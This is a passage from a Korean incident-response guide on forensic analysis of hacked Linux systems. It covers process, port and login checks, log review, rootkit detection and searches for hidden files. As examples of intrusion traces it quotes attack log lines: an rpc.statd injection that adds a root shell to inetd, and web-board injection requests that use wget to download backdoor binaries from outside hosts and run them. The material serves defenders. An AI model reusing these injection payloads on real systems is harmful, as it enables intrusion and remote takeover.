③ 다양한 모니터링 프로그램 활용

〈표 3-5〉 모니터링 프로그램 목록

파일명	역 할	다운로드
Filemon	파일 모니터링	www.sysinternals.com
Regmon	레지스터 모니터링	www.sysinternals.com
CPUmon	CPU 성능 모니터링	www.sysinternals.com
TDImon TCPView	네트워크 모니터링	www.sysinternals.com
procexp	프로세스 모니터링	www.sysinternals.com
Winalysis	스냅샷 모니터링	www.winalysis.com
API SPY	API 함수 추적	www.matcode.com
ethereal	네트워크 트래픽 분석	www.ethereal.com

제2절 리눅스 사고 분석

1. 개요

최근 리눅스 시스템에 대한 사고가 줄어들고 있는 경향을 보이고 있지만, 이는 리눅스 시스템의 활용도 자체가 낮아졌다는 것을 뜻하는 것은 아니다. 본 절에서는 리눅스 피해 시스템에 대한 정보수집 등의 초기 분석단계부터 로그분석과 상세분석 단계에 대해 알아보도록 한다.

2. 기본정보 수집

해당 시스템 운영자 면담 또는 시스템에서 제공되는 명령어 등을 이용하여 다음과 같은 기본 정보를 수집한다.

- 운영체제 종류 및 커널 버전
- 사용용도
- 운영 중인 서비스
- 네트워크 접속 현황
- 보안 패치 적용 현황
- 네트워크 구성 형태 및 보안 장비 운영 현황

3. 휘발성 정보 수집

리눅스 시스템에는 분석당시에만 존재하고, 시스템 리부팅 등을 통해 정보가 삭제될 수 있는 다양한 휘발성 정보가 존재한다. 휘발성 정보는 프로세스 상태, 네트워크 상태, 사용자 로그인 상태 등이 있으며, 사고분석 시 이러한 휘발성 정보를 우선적으로 검출하여야 한다.

● 프로세스 확인하기 : ps -ef

ps는 process를 확인해 주는 것으로, process 실행자 · PID · 실행 일시 · 프로세스명 등을 보여준다.

```
# ps -ef|more
     UID   PID  PPID  C    STIME TTY      TIME CMD
    root     1     0  0   May 22 ?        0:44 /etc/init -r
    root     2     0  0   May 22 ?        0:00 pageout
    root   339     1  0   May 22 ?        0:00 /usr/openwin/bin/fbconsole -d :0
    root    53     1  0   May 22 ?        0:00 /usr/lib/devfsadm/devfseventd
    root    57     1  0   May 22 ?        0:00 /usr/lib/devfsadm/devfsadmd
    root   138     1  0   May 22 ?        0:00 /usr/sbin/keyserv
    root   236     1  0   May 22 ?        0:00 /usr/lib/power/powerd
    root 25743     1  0   Jun 05 ?        0:03 /usr/sbin/inetd -s
    root   136     1  0   May 22 ?        0:07 /usr/sbin/rpcbind
    root   190     1  0   May 22 ?        0:00 /usr/sbin/cron
    root   176     1  0   May 22 ?        0:02 /usr/lib/autofs/automountd
    root   189     1  0   May 22 ?        0:04 /usr/sbin/syslogd
    root   204     1  0   May 22 ?        0:50 /usr/sbin/nscd
    root   296     1  0   May 22 ?        0:00 /usr/dt/bin/dtlogin -daemon
    root   297     1  0   May 22 ?        0:00 /usr/lib/nfs/mountd
    root   262     1  0   May 22 ?        0:00 /usr/lib/sendmail -bd -q15m
    root   316     1  0   May 22 ?        0:00 /usr/lib/saf/sac -t 300
    root   371     1  0   May 22 ?        0:00 /usr/openwin/bin/speckeysd
    root   299     1  0   May 22 ?        0:00 /usr/lib/nfs/nfsd -a 16
    root   337   305  0   May 22 ?        9:53 mibiisa -r -p 32781
    root   322   296  0   May 22 ?        0:00 /usr/dt/bin/dtlogin -daemon
    root   367   357  0   May 22 ?        0:00 /usr/openwin/bin/fbconsole
    root   390   357  0   May 22 ?        0:00 /usr/openwin/bin/htt -nosm
    root   433   431  0   May 22 ?        0:11 dtwm
    root   431   414  0   May 22 pts/2    0:45 /usr/dt/bin/dtsession
```

〈그림 3-28〉 ps 명령 사용예

의심스런 PID를 찾는데 위의 예에서는 PID 316을 의심해볼 수 있으며, 어떤 프로세스인지 확인한다.

● lsof(List Open File)

lsof는 System에서 돌아가는 모든 process에 의해서 open된 파일들에 대한 정보를 보

여주는 프로그램이다. 공격당한 시스템에 ps가 변조되어 있을 경우에는 ps로는 공격자가 구동한 process 정보를 제대로 볼 수 없는데 이럴 경우에는 lsof로 확인할 수 있다.

```
#lsof | more
.dicasshd  304 root   7u     IPv4   219          TCP *:6666
.dicasshd  307 root   txt    REG    3,8    2365990  274254 /usr/sbin/.dicasshd
.dicasshd  307 root   mem    REG    3,1     340856   48102 /lib/ld-2.1.3.so
.dicasnif  308 root   cwd    DIR    3,1       4096       2 /
.dicasnif  308 root   rtd    DIR    3,1       4096       2 /
.dicasnif  308 root   txt    REG    3,8       7165   33951 /usr/man/man1/.dica/.dicasniff
.dicasnif  308 root   mem    REG    3,1      25386   50446 /lib/ld-linux.so.1.9.5
.dicasnif  308 root   mem    REG    3,8     699832    1788 /usr/lib/libc.so.5
.dicasnif  308 root   0r     CHR    1,3              48166 /dev/null
.dicasnif  308 root   1w     REG    3,1     520411     690 /tcp.log
.dicasnif  308 root   2u     CHR    5,1              48220 /dev/console
xl         329 root   txt    REG    3,12    626550   48127 /var/run/...dica/xl
xl         329 root   mem    REG    3,1     340856   48102 /lib/ld-2.1.3.so
xl         329 root   mem    REG    3,1      64535   48111 /lib/libcrypt-2.1.3.so
xl         329 root   mem    REG    3,1      47077   48156 /lib/libutil-2.1.3.so
xl         329 root   mem    REG    3,1    4102325   48109 /lib/libc-2.1.3.so
xl         329 root   2u     CHR    1,3              48166 /dev/null
xl         329 root   5r     FIFO   0,0                 6 pipe
xl         329 root   6w     FIFO   0,0                 6 pipe
xl         329 root   7r     DIR    3,1       4096   96195 /bin
xl         329 root   8r     DIR    3,1       4096       2 /
xl         329 root   9u     IPv4              237       TCP *:ircd (LISTEN)
```

〈그림 3-29〉 lsof 명령 사용예

- netstat -an

netstat는 현재 시스템의 네트워크 연결상태를 알려주는 명령어로 어떤 포트가 열려있는지 발신지 주소는 어떻게 되는지 등을 확인할 수 있다.

```
# netstat -an | more
 Active Internet connections (including servers)
 Proto   Recv-Q  Send-Q  Local Address          Foreign Address        State
 tcp        0       0    0.0.0.0:6666           0.0.0.0:*              LISTEN
 tcp        0       0    0.0.0.0:7000           0.0.0.0:*              LISTEN
 tcp        0       0    0.0.0.0:6667           0.0.0.0:*              LISTEN
 tcp        0       0    0.0.0.0:113            0.0.0.0:*              LISTEN
 tcp        0       0    0.0.0.0:23             0.0.0.0:*              LISTEN
 tcp        0       0    0.0.0.0:98             0.0.0.0:*              LISTEN
 tcp        0       0    0.0.0.0:587            0.0.0.0:*              LISTEN
 tcp        0       0    0.0.0.0:21             0.0.0.0:*              LISTEN
 tcp        0       0    0.0.0.0:80             0.0.0.0:*              LISTEN
 tcp        0       6    210.xxx.xxx.101:23     211.xxx.xxx.2:31190    ESTABLISHED
 tcp        0       0    0.0.0.0:6000           0.0.0.0:*              LISTEN
```

〈그림 3-30〉 netstat 명령 사용예

• nmap -sT -p 1-65535

nmap(network mapper)은 네트워크 보안을 위한 유틸리티로, 대규모 네트워크를 고속으로 스캔하는 도구이다. 스캔 타입으로 -sT는 tcp scanning의 가장 기초적인 형태로 connect() 함수를 사용해서 모든 포트에 대해 스캔하는 방식을 의미하고, -p 는 점검하고자 하는 포트를 지정하는 옵션이다.

```
# ./nmap -p 1-65535 ip주소
 Starting nmap V. 2.54BETA22 ( www.insecure.org/nmap/ )
 (The 65522 ports scanned but not shown below are in state: closed)
 Port            State       Service
 21/tcp          open        ftp
 23/tcp          open        telnet
 25/tcp          open        smtp
 53/tcp          open        domain
 80/tcp          open        http
 110/tcp         open        pop-3
 143/tcp         open        imap2
 465/tcp         open        smtps
 995/tcp         open        pop3s
 2272/tcp        open        unknown
```

〈그림 3-31〉 nmap 명령 사용예

ps, lsof, netstat, nmap 등을 통해 시스템의 상황을 파악하고, 공격자의 단서를 찾으며 세부사항을 살펴서 어떠한 기능이나 역할을 하는 것인지 확인해본다.

● fuser

만일 netstat로 프로세스를 확인할 수 없는 경우, nmap과 fuser를 사용하여 어떤 프로세스에서 포트를 열었는지 확인할 수 있다. fuser는 현재 사용 중인 파일 또는 소켓이 사용하는 프로세스를 확인하는 명령어로 열려있는 포트와 해당 포트를 사용 중인 프로세스 확인을 통해 백도어 등의 악성 프로그램 구동 여부를 확인할 수 있다.

```
# fuser 6001/tcp
6001/tcp:             6294
l# ps 6294
  PID TTY  STAT  TIME COMMAND
 6294 ?       S    25:35 Xrealvnc :1 -desktop X -auth /root/.Xauthority -geometry 1024x768
-depth 16
```

〈그림 3-32〉 fuser 명령 사용예

● 접속자 확인

w, who등의 명령으로 접속자를 확인한다.

```
# w
  7:32pm  up 19 days,  8:15,  5 users,  load average: 0.08, 0.02, 0.01
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU  WHAT
kong     pts/4    123.xxx.xxx.89    Thu 3pm  1.00s  0.15s  0.02s w
root     pts/1    -                 10Jun02  19days 0.02s  0.02s /bin/cat
root     pts/2    :0                Fri 3pm  15:45m 0.08s  0.08s bash
root     pts/3    :0                16Jun02  6days  0.07s  0.07s bash
```

〈그림 3-33〉 w, who● 명령 사용예

- "w"는 utmp를 참조하여 현재 시스템에 성공적으로 로그인한 사용자에 대한 snapshot을 제공해주는 명령으로 해킹 피해시스템 분석시에 반드시 확인해 보아야만 한다. 왜냐하면 현재 시스템 분석 중에 공격자가 같이 들어와 있을 경우 자신이 추적당하는 것을 눈치채고 주요 로그를 지우거나 아예 포맷팅을 해 버릴 수도 있기 때문이다.
- 물론, 정상적인 로그인 절차를 거치지 않고 백도어를 통해 시스템에 접근했을 경우에는 실제 공격자가 시스템에 로그인해 있음에도 불구하고 보여지지 않는다.
- "w"의 결과 어떤 사용자들이 어디에서 로그인해 들어 와 있는지 알 수 있고, 그리고 그 사용자들이 어떤 작업을 하고 있는지 보여준다.
- 사고 분석시에 공격자를 규명하기 위해 특히 주의 깊게 봐야 할 부분들은 아래와 같다.
  - 접속한 사용자 계정이 모두 정상적인 사용자들인가?
  - 접속출처가 정상적인 위치인가? 특히, 내부 IP주소 이외에서 접속하였거나, 국외 IP 주소에서 접속한 경우는 의심할 필요가 있다.
  - 사용자들의 행위가 정상적인가? scan 도구를 실행하고 있거나 타 시스템을 대상으로 서비스거부공격을 하고 있는지 살핀다.

4. 상세분석

가. 패스워드 파일 분석

- /etc/passwd파일에서 uid=0인 계정(관리자 권한을 가진 계정)이 있는지를 확인한다.

예) 불법계정이 추가된 /etc/passwd파일

```
...
blah1::0:0::/tmp:/bin/bash
user1:x:0:0::/home/user1:/bin/bash
```

● 또한 새로 생성된 계정이나 패스워드가 없는 계정도 점검하여 본다.

나. 로그 파일 분석

침해사고 피해가 발생한 시스템의 로그는 100% 신뢰할 수 없게 된다. 하지만 대부분의 사고에서 공격관련 로그와 함께 침입 후 진행된 작업의 흔적들이 로그에 남게 되므로 로그 분석을 통해 사고원인을 파악하는데 많은 도움을 얻을 수 있다.

● 로그파일의 생성일자 및 변경일자 확인

– 외부의 공격자는 공격으로 인해 생성되는 시스템 및 접속로그 등을 삭제하는 경우가 많다. 로그의 내용 중 일부를 삭제하거나 변경할 경우, 해당 로그파일의 수정일자가 변경되게 되므로 변경일자 확인을 통해 확인한다. 또한 로그 삭제 프로그램을 이용해 로그를 삭제하는 경우, syslog 데몬이 재시작 되는 로그가 남기도 한다.

● 주요 로그파일

– utmp, wtmp

해당 파일에는 현재 시스템에 로그인한 사용자나, 과거에 로그인했던 사용자의 정보가 저장되게 된다. 따라서 시스템 분석 시에 꼭 확인해야 하는 로그파일이나, passwd 파일에 등재되어 있는 계정을 이용해 정상적으로 시스템에 로그인했을 때에만 로그가 생성되게 된다.

– messages

많은 정보를 포함하고 있는 로그파일로서, 시스템 장애에 대한 정보와 더불어 공격으로 인해 남게 되는 많은 유용한 정보 또한 messages 파일에 남는 경우가 많다. 동작 중인 서비스에 대한 버퍼 오버플로우 공격의 경우, 특히 messages 파일에 그 흔적이 남게 되므로

사고 분석 시, messages 파일을 필히 확인하도록 한다.

예) RPC.STATD 공격 시의 messages 로그

```
messages.2:Mar 30 03:37:02 www statd[136]: attempt to create
"/var/statmon/sm/;echo "ingreslock stream tcp nowait root /bin/sh sh -i"
>>/tmp/bob ; /usr/sbin/inetd -s /tmp/bob &"
messages.2:Mar 30 23:36:20 www statd[124]: attempt to create
" / v a r / s t a t m o n / s m / / .
./../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../.
./../../../../../../../../../../../../../..../../../../../../../../../../../../../../../../../../../../../../../../..
/../../../../../../..../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../
../../../../../../../../../../../../tmp/.nfs09 D H $ $ $ $
O * * * * # # P * c 6 ) # # ; # XbinXsh tirdwr
```

- **웹 로그**

최근 많은 침해사고들이 웹 취약점을 이용한 것으로 확인되었다. 웹 취약점에 대한 공격은 주로 중국 해커에 의한 것으로 확인되고 있으며, 중국 해커 대부분은 공격을 위해 제작한 프로그램을 이용 공격을 한다.

– access_log 확인

〈로그 예제〉

[redacted] – – [07/Nov/2006:10:05:02 +0900] "GET /goodstore.htm HTTP/1.1" 200 1738 "–" "Mozilla/4.0 (compatible; Google Desktop)"

• Host (도메인 또는 IP 주소) 〈예제부분 [redacted]〉
: 해당 웹 서버에 접속한 IP 주소를 나타낸다.

• Identification 〈예제부분 – 〉
: 사용자의 이름을 표시하는 곳으로서, 일반적으로 하이픈(–)으로 표시된다.
• User Authentification 〈예제부분 – 〉
: 패스워드가 표시되는 부분으로 사용자 인증이 사용된 경우에 표시된다. 일반적으로 하이픈(–)으로 표시된다.
• Time Stamp 〈예제부분 [07/Nov/2006:10:05:02 +0900]〉
: 사이트 방문자가 접속한 시간이 나타나는 부분이다. +0900은 GMT(그리니치 표준시)를 의미한다.
• HTTP Request 필드 〈예제부분 GET /goodstore.htm HTTP/1.1〉
: 사용자가 접속한 방식(GET, POST)와 접속한 해당 파일, 접속에 사용된 HTTP 버전을 알수 있다.
• Status 코드 〈예제부분 200〉
: 사용자가 요청한 내용이 처리된 상태를 나타낸다. 세부적인 Status 코드는 아래 표와 같다.

〈표 3-6〉 웹 로그 중 코드의 의미

코드	의 미	적용 예
1**	Continue/Protocol Change	
2**	Success	200 – 전송성공 204 – 파일은 존재하나 내용없는 경우
3**	Redirection	웹 사이트가 이동
4**	Client Error/Failure	404 – 요청파일이 존재하지 않음
5**	Server Error	500 – 내부서버 에러

• Transfer Volume 〈예제부분 1738〉
: 호출된 파일의 용량을 나타낸다. 데이터가 없는 경우 하이픈(–) 또는 0으로 나타난다.

– 공격 로그

공격으로 인해 남게 되는 로그는 여러 유형이 있을 수 있다. 본 문서에서는 '05년 홈페이지 변조에 많이 이용되었던 국내 공개용 게시판 공격 시 남게 되는 로그를 살펴보도록 한다. PHP Injection 기법을 이용한 공격은 대부분 아래와 같은 형태의 로그를 남기게 된다.

• 제로보드 공격로그 예제

: 다음 로그는 제로보드 취약점 중, print_category.php 파일의 취약점을 이용해 공격한 access_log의 예제이다.

① 최초, 외부 사이트의 URL을 이용해, 피해 시스템에서 id 명령 실행을 통해, 취약점 존재여부와 웹 서버 구동 권한을 확인하고 있다.

② 그 후, 시스템 접속을 위해 백도어 프로그램(r0nin)을 피해시스템에 업로드 하고 있다.

③ 업로드한 백도어에 실행권한을 부여한 후, 백도어 프로그램을 실행하고 있다.

① /zboard/include/print_category.php?setup=1&dir=http://www.xx.xx.xx.xx.com.xx/newcmd.gif?&cmd=id HTTP/1.1" 200 4220

② /zboard/include/print_category.php?setup=1&dir=http://www.xx.xx.xx.xx.com.xx/newcmd.gif?&cmd=cd%20/tmp%20;%20wget%20http://nickvicq.xxx.net/BD/r0nin HTTP/1.1" 200 4892

③ /zboard/include/print_category.php?setup=1&dir=http://www.xx.xx.xx.xx.com.br/newcmd.gif?&cmd=cd%20/tmp%20;%20chmod%20777%20r0nin%20;%20./r0nin HTTP/1.1" 200 4204

〈그림 3-34〉 백도어 프로그램을 실행한 로그

• 테크노트 공격로그 예제

: 다음 로그는 테크노트 취약점을 이용한 공격 시 access_log에 남게 되는 로그이다. 공격에 이용된 취약점은 다르지만, 로그 상으로 확인되는 공격과정은 제로보드와

매우 유사한 것을 확인할 수 있다.

① 테크노트의 구성파일인 main.cgi 파일의 취약점으로 인해 웹 브라우저 상에서 바로 시스템 명령의 실행이 가능한 것을 확인할 수 있다. wget 명령을 이용해 외부의 사이트로부터 백도어 프로그램(rootdoor)을 다운로드 하고 있다.
② 다운로드 한 백도어 프로그램에 실행권한을 부여한 후 실행하고 있다.

```
① xxx.xxx.253.126 - - [28/Oct/2004:11:00:53 +0900] "GET
/cgi/b/t/board/main.cgi?board=FREE_BOARD&command=down_load&filename=
|wget%20-P%20/var/tmp/%20http://xxx.xxx.com/cavaleirosb1/xpl/rootedoor|
HTTP/1.1" 200 5 "-" "Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)"

② xxx.xxx.253.126 - - [28/Oct/2004:11:01:17 +0900] "GET
/cgi/b/t/board/main.cgi?board=FREE_BOARD&command=down_load&filename=
|cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%2
0..;cd%20..;cd%20..;cd%20..;cd%20/var/tmp/;chmod%20777%20rootedoor;./rootedo
or| HTTP/1.1" 200 69 "-" "Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)"
```

〈그림 3-35〉 다운로드한 백도어 프로그램을 실행한 로그

다. 루트킷(R●●tkit) 확인

공격자는 자신의 행동을 숨기기 위해 정상적인 프로그램들을 대신하도록 바이너리 파일들을 변조시키는 경우가 많다. 예를 들어 ls를 바꿔치기해서 ls를 실행시켜도 공격자가 만든 파일이 보이지 않도록 하는 것이다.

주로 많이 변조되며 루트킷에 포함되어 있는 프로그램으로는 ls, ps, netstat, login, top, dir, du, ifconfig, find, tcpd 등이 있다.

시스템 프로그램의 파일크기, 생성시간, 변경시간등을 확인한다. /bin또는 /usr/bin에 가서 #ls -alct|more로 확인했을 때 다른 프로그램이 기본적으로 깔린 시간과 틀리게 변경

된 것이 있는지 트로이잔으로 자주 변조되는 ls, ps, netstat등의 파일사이즈는 똑같은 OS, 버전의 다른 시스템의 프로그램과 비교하여 변조 여부를 확인한다.

리눅스의 경우 rpm -V fileutils 명령어로 무결성 검사를 할 수 있다. 명령결과가 예를 들어 S,5 .../bin/ls 로 나타난다면 파일크기 파일 내용이 변조됐다는 의미이다.

```
#rpm -V fileutils
.M....G.    /bin/df
S.5...GT    /bin/ls
S.5....T c /etc/profile.d/colorls.sh
..5...GT    /usr/bin/dir

s : 프로그램의 사이즈가 변경
5 : md5 checksum 값이 변경
T : 파일의 mtime 값이 변경
```

〈그림 3-36〉 rpm 명령의 사용예

솔라리스의 경우 "fingerprint"를 제공하고 있으며 아래의 사이트에서 md5 프로그램을 다운받아 설치하고 검사하고자 하는 파일의 checksum 값을 만들어 이를 비교해 봄으로써 파일의 변조유무를 알수 있다.

http://sunsolve.Sun.COM/pub-cgi/show.pl?target=content/content7

strace 명령을 통해 시스템 콜을 추적할 수 있다. 트로이잔으로 변경된 시스템 프로그램과 정상적인 시스템 프로그램을 strace 명령어를 이용해 비교해 변조유무를 확인할 수 있다.

예를 들어 공격을 당한 시스템을 분석했을 때 ps가 아래와 같이 "/usr/lib/locale/ro_RO/uboot/etc/procrc"파일을 참조하는 것을 볼 수 있었으며, 이 파일은 공격자가 숨기고 싶은 프로세스명을 /usr/lib/locale/ro_RO/uboot/etc/procrc에 나열하고 있었고 이런 경우 ps명

령으로는 해당 프로세스가 보이지 않게 된다.

```
# strace -e trace=open ps|more
...
open("/usr/lib/locale/ro_RO/uboot/etc/procrc", O_RDONLY) = 5
...

# strace -e trace=open netstat|more
...
open("/usr/lib/locale/ro_RO/uboot/etc/netstatrc", O_RDONLY) = 3

...
```

〈그림 3-37〉 strace 명령의 사용예

그러므로 strace명령어를 이용해 위의 예에서처럼 시스템 명령의 변조유무와 숨기고자 하는 파일들이 들어있는 위치 등을 파악할 수 있다.

라. 기타 해킹 관련 파일 조사

공격자가 피해 시스템에 들어와 어떤 작업을 했는지를 분석한다. 혹 다른 시스템을 스캔하거나 공격도구를 설치하였는지, irc서버를 설치하였는지, 로그를 삭제하였는지, 스니퍼 프로그램을 설치하였는지 등을 조사한다.

아래의 명령어는 최근에 수정되거나 새롭게 생성된 파일을 찾는 명령어로 공격자가 시스템 파일의 변조를 숨기기 위해 시간을 수정하는 경우가 있으므로 이러한 경우에 대비하여 inode 변경시간을 점검한다.

예) 최근 10일동안 수정되거나 새롭게 생성된 파일을 찾아서 /var/kisa/cime10.out에 저장하라는 명령

#find / -ctime -10 -print -xdev >/var/kisa/cime10.out

setuid를 가지는 실행 프로그램은 실행도중에 슈퍼유저(root)의 권한을 가지고 실행되므로 find를 이용하여 setuid나 setgid 파일이 있는지 확인한다.

#find / -user root -perm -4000 -print>suidlist
#find / -user root -perm -2000 -print>sgidlist

숨겨둔 파일 찾기 : 보통 공격자가 자주 해킹과 관련된 파일을 가져다 놓는 디렉터리는 /usr, /var, /dev, /tmp 가 있으며 이런 디렉터리에 이상한 파일이 존재하지는 않는지 조사한다.

또한 공격자들은 주로 "."나 ".."로 시작하는 디렉터리를 만들어 사용하는 경우가 많으므로 (이는 관리자가 아무런 옵션없이 ls 명령어를 사용할 경우 보이진 않으므로) 다음의 명령으로 숨겨진 디렉터리가 있는지 점검해본다.

예) # find /-name "..*" -print 또는
find /-name ".*" -print

예) 일반적으로 /dev밑에는 MAKEDEV등과 같은 device관리 파일외에의 일반파일이 있으면 안되므로 device관리 파일외에 일반파일이 검색되는지 확인한다.

#find /dev -type f -print

시스템이 부팅될 때 같이 수행되도록 /etc/rc.d 디렉터리(rc.sysinit, rc.local), rc0.d~rc6.d 디렉터리에 넣는 경우가 많으므로 이를 확인한다.